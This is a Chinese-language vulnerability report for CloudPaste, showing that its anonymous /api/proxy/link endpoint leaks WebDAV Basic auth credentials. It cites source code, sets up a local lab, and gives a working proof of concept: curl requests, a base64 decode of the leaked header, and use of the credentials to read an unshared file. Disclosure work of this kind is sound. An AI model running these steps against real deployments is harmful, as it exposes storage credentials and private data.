CloudPaste 漏洞报告
软件名称:CloudPaste
开发者或厂商:ling-drag0n
代码仓库:https://github.com/ling-drag0n/CloudPaste
1. 代理链接接口回显 WebDAV 存储凭据
| 简要描述: | 匿名访问者请求代理链接接口时,接口返回 WebDAV 存储配置的用户名和口令。 |
|---|---|
| 影响版本: | 1.1.0 ~ 1.9.1 |
| 漏洞引入: | CloudPaste commit ef6edbaa |
| 前置条件: | 目标实例存在基于 WebDAV 存储的公开文件分享链接。 |
漏洞成因
/api/proxy/link 供反向代理获取上游地址,路由没有挂载鉴权中间件。相关代码如下:
// backend/src/routes/proxyLinkRoutes.js:88-95 commit 282ea1c7fb
proxyLinkRoutes.post("/api/proxy/link", async (c) => {
const db = c.env.DB;
const encryptionSecret = getEncryptionSecret(c);
const repositoryFactory = c.get("repos");
const { type, path, slug } = await parseLinkBody(c);
分享分支取出分享记录后,通过 getShareUpstreamLink 生成上游请求,并把返回的 headers 放入响应。相关代码如下:
// backend/src/routes/proxyLinkRoutes.js:139-167 commit 282ea1c7fb
case "share": {
const file = await fileService.getFileBySlug(slug);
const access = fileService.isFileAccessible(file);
if (!access.accessible) {
if (access.reason === "expired") {
throw new AuthorizationError("File is expired");
}
throw new NotFoundError("File is not accessible");
}
const storageLink = await linkService.getShareUpstreamLink(
file,
// 分享视图只需要 user 类型与 id(目前仅用于后续扩展)
{ type: userType, id: userType === UserType.ADMIN ? userIdOrInfo : userIdOrInfo?.id ?? null },
{
request: c.req.raw,
},
);
if (!storageLink || !storageLink.url) {
throw new NotFoundError("Share file does not have a resolvable link");
}
return c.json(
buildLinkResponse({
url: storageLink.url,
header: normalizeHeaders(storageLink.headers || {}),
}),
ApiStatus.OK,
);
}
use_proxy 为 0 时,getShareUpstreamLink 调用存储驱动的 generateUpstreamRequest。相关代码如下:
// backend/src/storage/link/LinkService.js:235-250 commit 282ea1c7fb
// 2) use_proxy = 0 且驱动具备上游 HTTP 能力时,优先交给驱动返回 {url, headers},由反代直连存储
try {
if (typeof driver.generateUpstreamRequest === "function") {
const upstream = await driver.generateUpstreamRequest(file.storage_path, {
subPath: file.storage_path,
request,
userType: userInfo?.type || null,
userId: userInfo?.id || null,
});
if (upstream && upstream.url) {
const headers = normalizeUpstreamHeaders(upstream.headers);
console.log(
`[LinkService][share][upstream-http] 文件(${file.id || slug}) 上游使用驱动 UPSTREAM_HTTP 能力: ${upstream.url}`,
);
return createProxyLink(upstream.url, { headers });
}
}
WebDAV 驱动的 generateUpstreamRequest 把存储配置中的用户名和口令编码为 Basic 认证头,放入返回的 headers。相关代码如下:
// backend/src/storage/drivers/webdav/WebDavStorageDriver.js:800-819 commit 282ea1c7fb
async generateUpstreamRequest(path, options = {}) {
this._ensureInitialized();
const { subPath } = options;
const relativePath = subPath || path;
const davPath = this._buildDavPath(relativePath, false);
const url = this._buildRequestUrl(davPath);
/** @type {Record<string,string[]>} */
const headers = {};
const auth = this._basicAuthHeader();
if (auth) {
headers["Authorization"] = [auth];
}
return {
url,
headers,
};
}
该 Basic 认证头是 CloudPaste 访问 WebDAV 服务所用的凭据。接口把它原样交给请求者,匿名访问者由此获得 WebDAV 账号。
复现环境搭建
使用官方 Docker compose 部署,保留官方默认端口,只把 frontend 服务的 BACKEND_URL 改为 http://127.0.0.1:8787:
mkdir cloudpaste && cd cloudpaste
wget https://raw.githubusercontent.com/ling-drag0n/CloudPaste/main/docker-compose.yml
# 编辑 docker-compose.yml,把 frontend 的 BACKEND_URL 改为 http://127.0.0.1:8787
docker compose -p cloudpaste-report up -d
另起一个需要 Basic 认证的 WebDAV 服务,账号为 davuser,口令为 davpass-SECRET,private.txt 的内容为 WEBDAV-PRIVATE-DATA,admin-notes.txt 的内容为 WEBDAV-UNSHARED-DATA:
from base64 import b64encode
from fastapi import FastAPI, HTTPException, Request, Response
USER = "davuser"
PASSWORD = "davpass-SECRET"
EXPECTED = "Basic " + b64encode(f"{USER}:{PASSWORD}".encode()).decode()
FILES = {
"private.txt": b"WEBDAV-PRIVATE-DATA",
"admin-notes.txt": b"WEBDAV-UNSHARED-DATA",
}
app = FastAPI()
@app.api_route("/dav/{path:path}", methods=["GET", "HEAD", "PROPFIND", "OPTIONS", "PUT"])
def dav(path: str, request: Request):
if request.method == "OPTIONS":
return Response(status_code=200, headers={"DAV": "1,2", "Allow": "OPTIONS,GET,HEAD,PUT,PROPFIND"})
if request.headers.get("authorization") != EXPECTED:
raise HTTPException(status_code=401, headers={"WWW-Authenticate": 'Basic realm="dav"'})
if request.method == "PUT":
return Response(status_code=201)
body = FILES.get(path)
if body is None:
raise HTTPException(status_code=404)
if request.method == "PROPFIND":
xml = (
'<?xml version="1.0" encoding="utf-8"?>'
'<D:multistatus xmlns:D="DAV:"><D:response>'
f"<D:href>/dav/{path}</D:href><D:propstat><D:prop>"
f"<D:getcontentlength>{len(body)}</D:getcontentlength>"
"<D:getcontenttype>text/plain</D:getcontenttype>"
"<D:getlastmodified>Sat, 15 Nov 2026 08:00:00 GMT</D:getlastmodified>"
"</D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"
)
return Response(xml, media_type="application/xml")
if request.method == "HEAD":
return Response(status_code=200, headers={"Content-Length": str(len(body)), "Content-Type": "text/plain"})
return Response(body, media_type="text/plain")
启动服务:
uvicorn report_dav_server:app --host 0.0.0.0 --port 19098
下文以 172.20.0.1 表示该主机在 CloudPaste 容器内可访问的地址,可以用下面的命令查看:
docker network inspect cloudpaste-report_cloudpaste-network \
-f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'
复现过程
先登录管理员账号:
curl -s -X POST http://127.0.0.1:8787/api/admin/login \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"admin123"}'
响应如下:
{"success":true,"code":"OK","message":"登录成功","data":{"username":"admin","token":"GAyB7YVWrvJqLqTnZ6H1BpgVN44Z7nUK","expiresAt":"2026-11-22T01:44:05.674Z"}}
把响应中的 token 填入下面的脚本,创建 WEBDAV 存储配置和挂载点,并把 /dav/private.txt 创建为分享。脚本如下,依赖 httpx:
import httpx
BASE = "http://127.0.0.1:8787"
TOKEN = "GAyB7YVWrvJqLqTnZ6H1BpgVN44Z7nUK"
c = httpx.Client(base_url=BASE, timeout=40)
headers = {"Authorization": "Bearer " + TOKEN}
r = c.post("/api/storage", headers=headers, json={
"name": "webdav-report",
"storage_type": "WEBDAV",
"is_public": 1,
"endpoint_url": "http://172.20.0.1:19098/dav",
"username": "davuser",
"password": "davpass-SECRET",
})
print("POST /api/storage", r.status_code)
print(r.text)
cfg = r.json()["data"]
r = c.post("/api/mount/create", headers=headers, json={
"name": "webdav-report",
"storage_type": "WEBDAV",
"storage_config_id": cfg["id"],
"mount_path": "/dav",
"web_proxy": 0,
"is_active": True,
})
print("\nPOST /api/mount/create", r.status_code)
print(r.text)
r = c.post("/api/fs/create-share", headers=headers, json={"path": "/dav/private.txt"})
print("\nPOST /api/fs/create-share", r.status_code)
print(r.text)
创建存储配置的响应如下:
{"success":true,"code":"CREATED","message":"存储配置创建成功","data":{"default_folder":"","total_storage_bytes":10737418240,"enable_disk_usage":1,"endpoint_url":"http://172.20.0.1:19098/dav","username":"davuser","tls_insecure_skip_verify":0,"id":"c8e8800b-cc61-4afb-9571-1c2d13f20884","name":"webdav-report","storage_type":"WEBDAV","admin_id":"ecb37868-67d4-4aac-b109-2917de8c3d5b","is_public":1,"is_default":0,"remark":null,"url_proxy":null,"status":"ENABLED","created_at":"2026-11-15T01:44:05.696Z","updated_at":"2026-11-15T01:44:05.696Z","last_used":null}}
创建挂载点的响应如下:
{"success":true,"code":"CREATED","message":"挂载点创建成功","data":{"id":"d7f43a06-49e0-493c-8023-51fb3aeb8f6c","name":"webdav-report","storage_type":"WEBDAV","storage_config_id":"c8e8800b-cc61-4afb-9571-1c2d13f20884","mount_path":"/dav","remark":null,"is_active":1,"created_by":"ecb37868-67d4-4aac-b109-2917de8c3d5b","sort_order":0,"cache_ttl":300,"web_proxy":0,"webdav_policy":"302_redirect","enable_sign":0,"sign_expires":null,"enable_folder_summary_compute":0,"created_at":"2026-11-15T01:44:05.712Z","updated_at":"2026-11-15T01:44:05.712Z","last_used":null}}
创建分享的响应如下:
{"success":true,"code":"OK","message":"分享创建成功","data":{"id":"2ce05f30-9f3e-4ee1-996d-a889b23e75ad","slug":"mWFWZp","filename":"private.txt","mimetype":"text/plain","size":19,"remark":"来自文件系统: /dav/private.txt","created_at":"2026-11-15T01:44:05.789Z","requires_password":false,"views":0,"max_views":null,"expires_at":null,"url":"/file/mWFWZp","use_proxy":0,"created_by":"ecb37868-67d4-4aac-b109-2917de8c3d5b","used_original_filename":true,"storage_path":"private.txt","storage_type":"WEBDAV"}}
匿名请求代理链接接口:
curl -s -X POST http://127.0.0.1:8787/api/proxy/link \
-H 'Content-Type: application/json' \
-d '{"type":"share","slug":"mWFWZp"}'
响应如下:
{"code":200,"data":{"url":"http://172.20.0.1:19098/dav/private.txt","header":{"Authorization":["Basic ZGF2dXNlcjpkYXZwYXNzLVNFQ1JFVA=="]}}}
解码 Authorization 的值:
echo 'ZGF2dXNlcjpkYXZwYXNzLVNFQ1JFVA==' | base64 -d
davuser:davpass-SECRET
使用该账号读取没有被分享的 admin-notes.txt:
curl -s -u davuser:davpass-SECRET http://172.20.0.1:19098/dav/admin-notes.txt
WEBDAV-UNSHARED-DATA